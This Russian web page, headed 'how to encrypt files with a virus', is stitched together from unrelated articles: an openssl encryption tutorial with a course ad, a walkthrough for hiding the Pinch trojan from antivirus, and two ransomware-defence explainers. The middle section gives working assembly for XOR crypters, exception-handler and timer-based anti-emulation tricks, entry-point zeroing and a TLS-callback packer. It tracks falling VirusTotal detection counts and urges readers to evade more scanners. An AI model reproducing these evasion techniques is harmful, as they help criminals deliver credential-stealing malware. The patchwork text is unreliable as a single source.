Как зашифровать файлы вирусом

Обновлено: 06.07.2024

Вы наверняка слышали об опасностях обмена файлами через интернет. В них тайком «подселяют» вредоносный код, который с определёнными правами может натворить на устройстве чёрт-те что. А если речь идёт об обмене важными рабочими файлами, опасность выходит на новый уровень: корпоративные данные сольют, текст договоров подменят — в общем, караул.

Для защиты на этом уровне используются криптографические алгоритмы. Базовая информация о них неплохо изложена в википедии. Если отбросить всю теорию, то обычно рассматривают симметричные, асимметричные и бесключевые криптографические алгоритмы. В первых для шифрования и дешифрования используется один и тот же ключ, во вторых — разные ключи, а в третьих ключи не используются вовсе. Каждый из типов алгоритмов применяется по-своему.

Хеш-функции

Беcключевые алгоритмы обычно используются для вычисления хеш-функций, или функций свёртки. Хеш-функция преобразовывает массив входных данных произвольной длины в выходную битовую строку установленной длины. Прелесть такого преобразования в том, что если объект изменился, то скорректируется и его хеш-функция.

Рассмотрим это на примере утилиты openssl, установленной в Linux. К примеру, у нас есть текстовый файл, содержащий «this is simple text»:


Вычислим от этого файла хеш-функцию при помощи алгоритма md5:


А теперь изменим содержимое файла:


Обратите внимание: мы добавили в файл новую строку («but changed»), вычислили заново хеш от файла, и он стал другим. То есть при любом изменении содержимого файла хеш-функция не останется прежней. Это можно использовать для контроля целостности критических файлов: если их хеш изменится — системному администратору придёт оповещение. Или для проверки, загрузился ли файл полностью: если это так, на сайте опубликуется его хеш.

В Windows для вычисления хеша я рекомендую утилиту Sigcheck из пакета Sysinternals. Для примера вычислим значение хеша md5 от файла PsExec.exe:


Другой вариант — использовать утилиту certutil, предустановленную в Windows. Вычислим с её помощью значение хеша md5 от файла PsExec.exe:


Также можно загрузить пакет openssl для ОС Windows. Качаем архив под нужную архитектуру процессора отсюда, распаковываем его и переходим в консоли в каталог bin. Нам нужен файл openssl.exe:


Теперь нам доступны почти все возможности пакета openssl в Windows. Например, вычислить хеш, как делали в предыдущих примерах для Linux (не забываем про абсолютные и относительные пути к файлам):


Пакет лучше переместить в каталог C:/OpenSSL, а конфигурационный файл openssl.cnf — из каталога bin в каталог OpenSSL. Избежим ошибки, как на скрине выше:


Теперь рассмотрим реализацию криптографических алгоритмов.

Симметричные криптоалгоритмы

Если говорить упрощённо, то симметричные алгоритмы шифрования применяют один ключ для шифрования и дешифрования. Таких алгоритмов много, и на практике обычно применяют те, которые имеют достаточную длину ключа и ещё не были скомпрометированы. Симметричные алгоритмы делятся на блочные (DES, RC2, Blowfish, AES, «Кузнечик» и т. д.) и потоковые (RC4, SEAL, CryptMT и другие).

Стойкость к взлому у всех блочных криптографических алгоритмов во многом определяется длиной ключа. Если она составляет 128 бит и более, шифрование считается сильным, так как для расшифровки информации без ключа потребуются годы работы на мощных компьютерах. Кому любопытно — об алгоритмах шифрования с точки зрения длины ключа можно прочитать в посте на Хабре.

Попрактикуемся: при помощи пакета openssl зашифруем созданный нами ранее текстовый файл. Для этого используем команду:

openssl enc -e -aes256 -in simpletext.txt -out simple_enc_text.txt

  • enc — указывает модуль для шифрования;
  • -e — указывает, что файлы нужно шифровать;
  • -aes256 — алгоритм шифрования;
  • -in — указывает на исходный файл;
  • -out — указывает на зашифрованный файл.

Выглядит это так:


Для расшифровки нужно указать введённый при шифровании ключ и используемый алгоритм. Команда примерно следующая:

openssl enc -d-aes256 -in simple_enc_text.txt -out simpletext.txt

  • enc — указывает модуль для шифрования;
  • -d — указывает, что файлы нужно расшифровать;
  • -aes256 — алгоритм шифрования;
  • -in — указывает на исходный файл;
  • -out — указывает на расшифрованный файл.


При шифровании симметричными алгоритмами есть несколько интересных проблем.

  • Длина ключа. Как уже упоминали, желательно не менее 128 бит
  • Сложность использования при большом количестве шифруемых объектов — приходится запоминать много параметров.
  • Сложность обмена параметрами шифрования (паролями, алгоритмами и подобным) — необходимо обеспечить их надёжную передачу адресату.

Такие проблемы обычно решают при помощи асимметричных алгоритмов шифрования.

Асимметричные алгоритмы шифрования

Главное преимущество асимметричного шифрования по сравнению с симметричным — возможность сторон обмениваться данными друг с другом, не используя секретные каналы связи.

Криптографическая система на основе асимметричного шифрования использует открытые (public key) и закрытые (private key) ключи для шифрования и расшифровки данных. Эти ключи образуют ключевую пару, компоненты которой связаны зависимостью, но отличаются друг от друга. Идея в том, что, зная открытый ключ, нельзя из него получить закрытый, хотя алгоритм генерации известен.

Открытый ключ передаётся по незащищённым каналам связи и известен всем. Его можно использовать для шифрования файлов и не только. Для расшифровки применяется закрытый ключ, который хранится в тайне.

У многих асимметричных алгоритмов, особенно тех, что основаны на проблемах теории чисел, минимальная длина ключа для надёжного шифрования — 1024 бит. Это сильно ограничивает их применение — симметричные алгоритмы позволяют с меньшей длиной ключа надёжно зашифровать файлы.

При практической реализации асимметричных алгоритмов обычно используют сертификат. Это файл, хранящий ключ (открытый и закрытый) в определённом формате. Подробнее об этом можно почитать в статье «Формат SSL-сертификата».

Рассмотрим два основных стандарта для реализации сертификатов шифрования.

X.509 — стандарт ITU-T для инфраструктуры открытых ключей. Определяет стандартные форматы данных и процедуры распределения открытых ключей с помощью соответствующих сертификатов с цифровыми подписями. Именно он обычно используется для электронной цифровой подписи (ЭЦП) и шифрования, например, в openssl.

OpenPGP — стандарт, выросший из программы PGP (к середине 90-х годов она распространилась в интернете как надёжное средство шифрования электронной почты). Став стандартом де-факто, PGP начал встраиваться во множество приложений и систем. С особенностями можно ознакомиться на специализированном ресурсе об OpenPGP.

Посмотрим, как это выглядит на практике. Начнём с асимметричных алгоритмов в openssl — для этого в Windows командную строку надо запустить с правами администратора.

Создадим закрытый ключ в виде сертификата. Команда следующая:

openssl genrsa -aes256 -out private.pem 8912

  • genrsa — указывает, что мы используем модуль для генерации закрытого ключа на основе алгоритма RSA;
  • -aes256 — указывает на алгоритм AES для шифрования сертификата;
  • -out private.pem — файл для сохранения сертификата;
  • 8912 — размер ключа.


Теперь надо извлечь из полученного закрытого ключа публичный. Сделать это можно командой:

openssl rsa -in private.pem -pubout -out public.pem

  • rsa — модуль для работы с RSA;
  • -in private.pem — задаёт путь к закрытому ключу, из которого извлечём открытый;
  • -pubout — извлекает публичный ключ;
  • -out public.pem — имя файла для полученного открытого ключа.


Ключ мы получили в виде сертификата в формате pem (ASCII-файл в кодировке base64). Это не единственный формат хранения сертификатов — с другими можно ознакомиться в материале, который уже рекомендовался выше.

Стоит учесть, что таким сертификатом мы не сможем зашифровать объект, превосходящий по размеру сам сертификат. Поэтому поступим хитрее: зашифруем файл симметричным алгоритмом, а ключ шифрования от этого алгоритма зашифруем при помощи сертификата. По шагам:

  1. Генерируем сертификаты (пару из открытого и закрытого ключа).
  2. Шифруем текст симметричным алгоритмом AES (его вроде бы ещё не взломали). Предположим, получим файл enc.1.
  3. Далее выбранный для шифрования пароль шифруем публичным ключом (предположим, получим файл enc.2).
  4. Теперь можно передать зашифрованный файл enc.1 и файл enc.2 по незащищённому каналу связи.
  5. На другом конце у получателя должна быть вторая часть ключа (закрытый ключ). Ей он вначале расшифровывает файл enc.2 и извлекает оттуда пароль для дешифровки файла enc.1.
  6. Profit!

Вот как это выглядит на практике. Вначале шифруем текстовый файл алгоритмом AES (пароль 123456):


Теперь сохраним наш пароль (123456) в файл pass.txt. И зашифруем файл при помощи сертификата. Команда:

openssl rsautl -encrypt -inkey public.pem -pubin -in pass.txt -out pass.ssl

  • rsautl — включаем модуль для шифрования, дешифрования и подписывания данных алгоритмом RSA;
  • -inkey public.pem — указывает путь к открытому ключу;
  • -pubin — указывает, что файл ключа является публичным ключом;
  • -in pass.txt — файл для шифрования;
  • -out pass.ssl — выходной зашифрованный файл.

Теперь можем переслать этот файл по открытому каналу связи. Перехват такой информации мало что даст злоумышленнику, если у него нет закрытого ключа. Попробуем расшифровать файл закрытым ключом и извлечь пароль для расшифровки:



Мы получили пароль — теперь с его помощью можно расшифровать файл, который мы с ним зашифровали при помощи алгоритма AES:


В этой статье я показал, как работать с шифрованием файлов. В следующей мы подробнее остановимся на стандарте OpenPGP и научимся использовать шифрование в электронной почте.

Работа с криптографическими алгоритмами — это лишь малая часть одного из курсов факультета информационной безопасности Geek University. Ближайший поток стартует 28 декабря — неплохой подарок на Новый год ;) Кроме того, до 29 декабря вы сможете выбрать ещё один факультет Geek University для себя или в подарок и получить его бесплатно.

Странно осознавать, что многие люди, создающие трояны, вирусы или использующие готовые решения-генераторы, нередко обращаются к услугам создателей «приватных крипторов», нередко оказывающихся обычными поделками студентов, обладающих весьма посредственными знаниями в области вирусмейкинга, имеющих слабое представление о структуре PE-файлов. Такой продукт может стоить десятки или даже сотни долларов, но при этом не обеспечивать даже минимальной защиты от разнообразных механизмов обнаружения вредоносных программ. А ведь достаточно легко самостоятельно спрятать троян от назойливых антивирусов, даже таких известных, как NOD и Dr. Web. И совершенно бесплатно! Как? Читай ниже!

Подготовка к исследованиям

Прячем код

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

Продолжим наш эксперимент. Попробуем использовать механизм создания собственного обработчика исключений для выполнения одного из приемов, описанных мной на страницах журнала ранее. Поскольку метод «разжеван», мы лишь адаптируем код для нашего случая, его функциональность полностью раскрывается в комментариях (если что-то все-таки осталось неясным, отправляю тебя к рубрике «Антиотладочные приемы» за октябрь 2009 года).

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

Продолжаем эксперимент

Для разминки, вставим в подопытный пинч несколько небольших кусков кода, которые «закроют глаза» нескольким антивирусам (а заодно и многим реверсерам низкой квалификации). По адресу 13147C90 я разместил криптор, аналогичный вышеописанному, который шифрует написанный нами антиотладочный код (4Ch байт, начиная с адреса 13147C30). На диске ты найдешь его код, здесь же его привести не позволяет объем статьи. Таким образом, мы скрыли от некоторых эвристических механизмов некоторые детали нашего механизма, усложнив работу необходимостью многоступенчатой распаковки.

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

Существует очень любопытный прием, который дает очень хороший эффект, вводящий в ступор некоторые отладчики и антивирусы. Имя ему – обнуление точки входа. Действительно, совсем неправдоподобной выглядит ситуация, когда PE-заголовок, располагающийся по нулевому смещению относительно ImageBase, является одновременно исполняемым кодом. Однако она более чем возможна. Открой отлаживаемый файл в WinHex и взгляни на байты данных, располагающиеся в самом начале файла: 4D 5A 00 00 (да-да, это та самая буквенная сигнатура «MZ», расположенная в начале PE-файла!). Взглянув на этот же PE-заголовок в отладчике (для этого нужно перейти по адресу 13140000h), мы увидим следующую картину:

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

.
13140028 0000 ADD BYTE PTR DS:[EAX],AL

Кажется, первые две инструкции вполне безобидны и могут быть выполнены без риска «уронить» программу. К сожалению, следом за ними располагается лишь два нулевых байта, а испортить MZ-заголовок, записав межсегментный пятибайтный переход на антиотладочный код, мы не можем. Подумав с полминуты, можно найти верное решение. Взгляни на 13140028. Здесь можно найти гораздо больше пяти нулевых байт. Слон здесь вряд ли поместится, но длинный переход – вполне! Итак, действуем следующим образом: меняем нулевые байты, начиная с адреса 13140002, на следующую инструкцию:

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

После выполненных процедур остается лишь сохранить программу, открыть ее на редактирование в LordPE и обнулить поле «EntryPoint». Итак, все работает, и еще два антивируса сдались: теперь лишь 25 из 43 находят в нашем подопытном образце опасный код.

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Попробуем использовать таймер в своих целях, чтобы сравнять с землей эмуляцию кода. Итак, наш план – использовать два замера времени, в промежутке между которыми будет «тикать» таймер. Впоследствии мы используем два временных штампа, чтобы вычислить разность между ними. Разность эта в дальнейшем будет нами использоваться для того, чтобы изменить логику работы защитного механизма.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
> SYSTEMTIME;

Условимся, что для хранения двух структур, полученных в результате пары вызовов GetLocalTime, будем использовать области памяти, начинающиеся, соответственно, с адресов 13147D7D и 13147D94. Функция Sleep(), входящая в Kernel32, инициирует «заморозку» выполнения программы, принимая параметр, выраженный в миллисекундах, через стек. Используя эти условия, напишем следующий код:

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

Обрати внимание: нас интересуют только значения, соответствующие секундам. Мы заставили программу «спать» ровно 1 секунду, а это значит, что разница между двойными словами, записанными в ячейках [13147d7d+С] и [13147D94+С], не должна быть больше или меньше единицы (в абсолютном большинстве случаев). Этот факт должен помочь нам побороть эмуляторы кода, пропускающие таймеры. Но как использовать полученное значение? Мы посчитаем разницу и используем ее для вычисления адреса перехода. Если эта разница будет посчитана неверно (что означает, что код эмулируется, причем неверно), то выполнение программы полетит ко всем чертям, но это нас не волнует :). Итак, получим приблизительно следующий код:

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

Последние штрихи

Когда я писал статью, я заметил, что в веб-интерфейс пинча стали приходить странные однообразные отчеты. Сначала мне показалось, что эти отчеты присланы с виртуальной машины, созданной мной, но потом понял, что это не так: все они были созданы на машинах с различной конфигурацией. В конце концов я понял, что это – результат запусков на машинах экспертов, которые пользуются virustotal’ом для анализа новых угроз. Мои опасения подтвердились, когда я увидел, что количество антивирусов, распознавших в зашифрованном мной файле угрозу, увеличилось, хотя и ненамного. Тогда я решил «обернуть» вокруг защиты, созданной мной, еще один «слой»-пакер, запускаемый из TLS. Для чего? Это позволит усложнить жизнь механизмам, использующим сигнатуры. Кроме того, на месте TLS-функции может быть любой алгоритм, кодирующий произвольный участок файла, что позволяет малыми усилиями полностью изменить содержание файла, скрыв «узнаваемые» места. Мало того, использование callback-функций само по себе является достаточно неплохим средством усложнения защитного механизма.

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

Переходим к адресу 13147da0, выделяем 6 байт, выбираем из контекстного меню команду «Binary -> Edit». Вводим значение «13 14 7d b0 00 00». Первые 4 байта указывают на адрес callback-функции. Последние два нулевых байта указывают на окончание таблицы callback-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Последний штрих – внесение сведений о TLS-директории в PE-заголовок. Открываем LordPE и правим в таблице директорий значение TLS Address на 00005d7d (разумеется, это же можно сделать и средствами OllyDbg). Кстати, если ты хочешь отлаживать TLS, чтобы не «пролетать» мимо выполнения callback-функций, нажми в OllyDbg Alt+O и в появившемся меню выбора места, где отладчик будет останавливаться при загрузке программы, укажи «System Breakpoint» (цель этого действия ясна, ведь TLS callback’и выполняются еще до попадания на точку входа!).

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

В нескольких словах: что такое трояны-вымогатели, почему о них надо знать и как от них защититься.


Этот текст предназначен для тех людей, которые либо вообще не слышали ничего о троянах-вымогателях, либо слышали, но особо не вникали. Здесь мы постараемся максимально просто и наглядно объяснить, что за звери такие трояны-вымогатели, почему их стоит опасаться и как от них защититься.

Что такое Ransomware?

Ransomware, или трояны-вымогатели, — это разновидность зловредных программ, которая за последнее время из просто распространенной стала очень-очень распространенной.

По тому, как они портят жизнь людям, их можно разделить на два основных типа — шифровальщики (крипторы, cryptoransomware) и блокировщики (blockers, блокеры).

Шифровальщики, попадая на ваш компьютер, шифруют ценные файлы: документы, фотографии, сохранения к играм, базы данных и так далее — таким образом, что их нельзя открыть. То есть вы не сможете ими воспользоваться. А за расшифровку создатели шифровальщиков требуют выкуп — в среднем около $300, то есть совсем уж дешево от них не отделаться.

Что такое Ransomware

Блокировщики получили свое имя за то, что они просто блокируют доступ к устройству. То есть воспользоваться не получится не просто файлами, а всем компьютером целиком. Они тоже требуют выкуп, но обычно не такой большой, как шифровальщики.

Почему о вымогателях стоит знать и что в них страшного

Начнем с того, что вымогателей стало уж очень много и встречаются они уж очень часто. Они есть для всех операционных систем: для Windows, для Mac OS X, для Linux и для Android. То есть трояны-вымогатели встречаются не только для компьютеров, но и для смартфонов и планшетов. Больше всего их для Windows и Android.

К тому же заразиться довольно просто: трояны-вымогатели чаще всего попадают в компьютер, когда пользователи открывают нехорошие почтовые вложения, переходят по сомнительным ссылкам или устанавливают приложения из неофициальных источников. Но могут проникать и с абсолютно добропорядочных сайтов — например, злоумышленники навострились подсовывать их в рекламу.

Также преступники научились убеждать людей, что им предлагается скачать или открыть что-то полезное — письмо из банка, счет, какую-нибудь ценную программу и так далее. При этом на самом деле на компьютер попадает блокировщик или шифровальщик.

Пожалуй, главная проблема шифровальщиков состоит в том, что просто вылечить их вы не сможете. То есть если вы попытаетесь вылечить шифровальщика антивирусом или специальной утилитой, то у вас это, скорее всего, получится — вот только файлы это не вернет: они так и останутся зашифрованными.

Более того, заплатить выкуп — тоже не универсальное лекарство. Во-первых, это дорого. Во-вторых, это поощряет преступников делать новых и новых шифровальщиков. А в-третьих, это еще и не всегда помогает. Согласно нашей статистике, 20% тех, кто все-таки заплатил мошенникам выкуп, так и не получили обратно свои файлы. Просто потому, что преступники — это преступники. Не стоит ждать от них честности.

Почему НЕ стоит платить выкуп создателям троянов-вымогателей

Как расшифровать файлы?

Если шифровальщик проник в систему и успел натворить дел, то просто так сами вы файлы не расшифруете. Вариантов, по сути, два. Можно, конечно, заплатить выкуп злоумышленникам, но мы бы этого делать не советовали по вышеуказанным причинам.

Как защититься от вымогателей?

Не открывайте подозрительные вложения в почте, не ходите по сомнительным сайтам и не скачивайте программы с каких-либо сайтов, кроме официальных магазинов и сайтов самих разработчиков.

Регулярно делайте резервные копии важных файлов. Если все ваши файлы есть не только на компьютере, но и на отдельном жестком диске или в облаке, то можно просто вылечить шифровальщика и скопировать файлы обратно на компьютер.

На нашем блоге есть более подробный текст, из которого вы можете узнать больше о различных видах вымогателей и о том, откуда они берутся, а также почерпнуть еще несколько полезных советов по борьбе с ними. Ну а чтобы какой-нибудь новый шифровальщик не застал вас врасплох, советуем следить за новостями.

Вирус-шифровальщик. Лечение бесполезно?

Игры хакеров кончились. Теперь вирусы пишут с целью получить деньги. Зашифровать файлы, а затем потребовать выкуп за доступ к данным — классическая схема работы семейства вируса-шифровальщика. Можно ли восстановить файлы самостоятельно, и как избежать встречи с вирусом?

Что такое шифровальщик?

Под шифровальщиками (криптолокерами) подразумевается семейство вредоносных программ, которые с помощью различных алгоритмов шифрования блокируют доступ пользователей к файлам на компьютере (известны, например, сbf, chipdale, just, foxmail inbox com, watnik91 aol com и др.).

Обычно вирус шифрует популярные типы пользовательских файлов: документы, электронные таблицы, базы данных 1С, любые массивы данных, фотографии и т. д. Расшифровка файлов предлагается за деньги — создатели требуют перечислить определенную сумму, обычно в биткоинах. И в случае, если в организации не принимались должные меры по обеспечению сохранности важной информации, перечисление требуемой суммы злоумышленникам может стать единственным способом восстановить работоспособность компании.

В большинстве случаев вирус распространяется через электронную почту, маскируясь под вполне обычные письма: уведомление из налоговой, акты и договоры, информацию о покупках и т. д. Скачивая и открывая такой файл, пользователь, сам того не понимая, запускает вредоносный код. Вирус последовательно шифрует нужные файлы, а также удаляет исходные экземпляры методами гарантированного уничтожения (чтобы пользователь не смог восстановить недавно удаленные файлы с помощью специальных средств).

Современные шифровальщики

Шифровальщики и прочие вирусы, которые блокируют доступ пользователей к данным, — не новая проблема в информационной безопасности. Первые версии появились еще в 90-х годах, однако они в основном использовали либо «слабое» (нестойкие алгоритмы, малый размер ключа), либо симметричное шифрование (одним ключом шифровались файлы у большого числа жертв, также была возможность восстановить ключ, изучив код вируса), либо вообще придумывали собственные алгоритмы. Современные экземпляры лишены таких недостатков, злоумышленники используют гибридное шифрование: с помощью симметричных алгоритмов содержимое файлов шифруется с очень высокой скоростью, а ключ шифрования шифруется асимметричным алгоритмом. Это значит, что для расшифровки файлов нужен ключ, которым владеет только злоумышленник, в исходном коде программы его не найти. Для примера, CryptoLocker использует алгоритм RSA с длиной ключа в 2048 бит в сочетании с симметричным алгоритмом AES с длиной ключа 256 бит. Данные алгоритмы в настоящее время признаны криптостойкими.

Компьютер заражен вирусом. Что делать?

Стоит иметь в виду, что в вирусах-шифровальщиках хоть и используются современные алгоритмы шифрования, но они не способны зашифровать мгновенно все файлы на компьютере. Шифрование идет последовательно, скорость зависит от размера шифруемых файлов. Поэтому если вы обнаружили в процессе работы, что привычные файлы и программы перестали корректно открываться, то следует немедленно прекратить работу на компьютере и выключить его. Тем самым вы можете защитить часть файлов от шифрования.

После того, как вы столкнулись с проблемой, первым делом нужно избавиться от самого вируса. Останавливаться подробно на этом не будем, достаточно попытаться вылечить компьютер с помощью антивирусных программ или удалить вирус вручную. Стоит только отметить, что зачастую вирус после завершения алгоритма шифрования самоуничтожается, тем самым затрудняя возможность расшифровки файлов без обращения за помощью к злоумышленникам. В таком случае антивирусная программа может ничего и не обнаружить.

Попробуйте воспользоваться утилитами восстановления удаленных файлов. Возможно, вирус не использовал методы гарантированного уничтожения и некоторые файлы удастся восстановить (особенно это может сработать с файлами большого размера, например с файлами в несколько десятков гигабайт). Также есть шанс восстановить файлы из теневых копий. При использовании функций восстановления системы Windows создает снимки («снапшоты»), в которых могут содержаться данные файлов на время создания точки восстановления.

Защита информации от уничтожения

Если были зашифрованы ваши данные в облачных сервисах, обратитесь в техподдержку или изучите возможности сервиса, которым пользуетесь: в большинстве случаев сервисы предоставляют функцию «отката» на предыдущие версии файлов, таким образом, их можно восстановить.

Чего мы настоятельно не рекомендуем делать — идти на поводу у вымогателей и платить за расшифровку. Были случаи, когда люди отдавали деньги, а ключи не получали. Никто не гарантирует, что злоумышленники, получив деньги, действительно вышлют ключ шифрования и вы сможете восстановить файлы.

Как защититься от вируса-шифровальщика. Превентивные меры

  • Используйте надежные антивирусные средства и регулярно обновляйте антивирусные базы. Звучит банально, но это значительно снизит вероятность успешного внедрения вируса на ваш компьютер.
  • Сохраняйте резервные копии ваших данных.

Лучше всего это делать с помощью специализированных средств резервного копирования. Большинство криптолокеров умеют шифровать в том числе и резервные копии, поэтому имеет смысл хранить резервные копии на других компьютерах (например, на серверах) или на отчуждаемых носителях.

Ограничьте права на изменения файлов в папках с резервными копиями, разрешив только дозапись. Помимо последствий шифровальщика, системы резервного копирования нейтрализуют множество других угроз, связанных с потерей данных. Распространение вируса в очередной раз демонстрирует актуальность и важность использования таких систем. Восстановить данные гораздо легче, чем расшифровать!

Еще одним эффективным способом борьбы является ограничение на запуск некоторых потенциально опасных типов файлов, к примеру, с расширениями.js,.cmd,.bat,.vba,.ps1 и т. д. Это можно сделать при помощи средства AppLocker (в Enterprise-редакциях) или политик SRP централизованно в домене. В сети есть довольно подробные руководства, как это сделать. В большинстве случаев пользователю нет необходимости использовать файлы сценариев, указанные выше, и у шифровальщика будет меньше шансов на успешное внедрение.

Внимательность — один из самых эффективных методов предотвращения угрозы. Относитесь подозрительно к каждому письму, полученному от неизвестных лиц. Не торопитесь открывать все вложения, при возникновении сомнений лучше обратитесь с вопросом к администратору.

Предотвратим потерю информации

Александр Власов, старший инженер отдела внедрения систем защиты информации компании «СКБ Контур»

Не пропустите новые публикации

